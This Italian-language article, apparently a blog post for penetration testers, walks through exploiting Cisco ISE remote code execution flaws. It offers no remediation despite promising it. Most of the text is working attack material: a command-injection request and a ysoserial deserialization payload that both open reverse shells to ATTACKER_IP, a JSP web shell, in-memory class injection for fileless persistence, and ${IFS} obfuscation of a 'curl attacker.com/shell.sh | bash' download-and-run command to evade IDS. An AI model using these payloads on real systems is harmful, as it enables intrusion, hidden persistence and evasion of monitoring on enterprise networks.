
Analisi tecnica approfondita delle vulnerabilità RCE di Cisco ISE, incluse tecniche di sfruttamento, metodi di evasione e strategie di remediation per ricercatori di sicurezza e penetration tester.
Le vulnerabilità di Esecuzione Remota di Codice (RCE) in Cisco Identity Services Engine (ISE) rappresentano un punto di rottura critico nella sicurezza perimetrale aziendale. Per un ricercatore di sicurezza d'élite, ISE non è semplicemente un componente di autenticazione: è la chiave maestra che controlla l'accesso all'intera infrastruttura di rete.
Rischio Critico: Un attaccante non autenticato può ottenere il controllo totale del sistema in meno di 5 minuti, senza lasciare tracce rilevabili nei sistemi di monitoraggio tradizionali.
| CVE | Endpoint | Metodo | Autenticazione | Gravità |
|---|---|---|---|---|
| CVE-2025-20281 | /deployment-rpc/enableStrongSwanTunnel | POST | ❌ Nessuna | CRITICA |
| CVE-2025-20282 | /api/v1/config/upload | POST | ⚠️ Debole | CRITICA |
| CVE-2025-20124 | /admin/rest/api/v1/system/config | GET/POST | ⚠️ Bypass possibile | CRITICA |
┌─────────────────────────────────────────────────────────┐
│ CISCO ISE - ARCHITETTURA NAC ESPOSTA │
├─────────────────────────────────────────────────────────┤
│ │
│ [Internet] ──→ [Firewall] ──→ [Porta Gestione ISE] │
│ ↓ │
│ [API Non Autenticate] │
│ ↓ │
│ [Layer di Deserializzazione Java] │
│ ↓ │
│ [Container Web Tomcat] │
│ ↓ │
│ [Esecuzione Comandi OS] │
│ ↓ │
│ [Compromissione Completa della Rete] │
│ │
└─────────────────────────────────────────────────────────┘
Riscontro Critico: L'API /deployment-rpc/ non valida i token di sessione nelle prime righe di elaborazione, consentendo un bypass completo dell'autenticazione.
Fase 1: Ricognizione
# Scansione di porte e servizi
nmap -sV -p 8443,8080 <ISE_IP>
# Enumerazione degli endpoint RPC
curl -s https://<ISE_IP>:8443/deployment-rpc/ | grep -i "method"
Fase 2: Sfruttamento Diretto
POST /deployment-rpc/enableStrongSwanTunnel HTTP/1.1
Host: <ISE_IP>:8443
Content-Type: application/json
Content-Length: 287
{
"tunnelName": "admin",
"tunnelType": "IPSec",
"presharedKey": "test",
"remoteGateway": "127.0.0.1",
"localSubnet": "0.0.0.0/0",
"remoteSubnet": "0.0.0.0/0",
"advancedConfig": "'; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1; echo '"
}
Risultato: Esecuzione di comandi arbitrari con privilegi di root (l'utente Tomcat viene eseguito come root nelle configurazioni predefinite).
[Payload Serializzato] ──→ [API Endpoint] ──→ [ObjectInputStream.readObject()]
↓
[Esecuzione Gadget Chain]
↓
[Runtime.exec() invocato]
Payload PoC (usando ysoserial):
# Generazione della gadget chain dannosa
java -jar ysoserial.jar CommonsCollections6 \
'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"' | \
base64 -w 0 > payload.b64
# Invio del payload
curl -X POST https://<ISE_IP>:8443/admin/rest/api/v1/system/config \
-H "Content-Type: application/octet-stream" \
--data-binary @payload.b64
Impatto: Elevazione dei privilegi da account di "Sola Lettura" a root.
[Web Shell] ──→ [/api/v1/config/upload] ──→ [/opt/CSCOlumos/uploads/]
↓
[Tomcat elabora il file JSP]
↓
[Esecuzione con privilegi root]
Esempio di Web Shell Dannosa:
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
out.println(line + "<br>");
}
}
%>
Accesso successivo:
https://<ISE_IP>:8443/opt/CSCOlumos/uploads/shell.jsp?cmd=id
Un hacker d'élite non lascia mai file su disco. L'iniezione in memoria è la tecnica di persistenza invisibile:
// Iniezione nel Tomcat ClassLoader
ClassLoader loader = Thread.currentThread().getContextClassLoader();
byte[] classBytes = generateMaliciousClass();
Method defineClass = ClassLoader.class.getDeclaredMethod(
"defineClass",
String.class, byte[].class, int.class, int.class
);
defineClass.setAccessible(true);
defineClass.invoke(loader, "EvilClass", classBytes, 0, classBytes.length);
Vantaggio: Le scansioni di file tradizionali (OSSEC, Tripwire) non rilevano nulla.
${IFS}# Comando originale (rilevabile)
curl http://attacker.com/shell.sh | bash
# Comando offuscato (evasione IDS)
c${IFS}url${IFS}http://attacker.com/shell.sh${IFS}|${IFS}bash
# Variante con indirezione di variabile
${PATH:0:1}b${PATH:0:1}n${PATH:0:1}bash${IFS}-c${IFS}'comando_dannoso'
Perché funziona: I sistemi di rilevamento cercano pattern di parole chiave (curl, bash, |). L'uso di ${IFS} (Internal Field Separator) divide le parole senza cambiarne il significato in bash.
# ❌ RILEVABILE - File in /etc/cron.d/
echo "* * * * * root /tmp/malware.sh" > /etc/cron.d/evil
# ✅ INVISIBILE - Iniezione nel processo Tomcat
# 1. Creare un listener netcat in memoria
# 2. Iniettare un thread nella JVM che mantiene una connessione persistente
# 3. Nessun file, nessun processo orfano visibile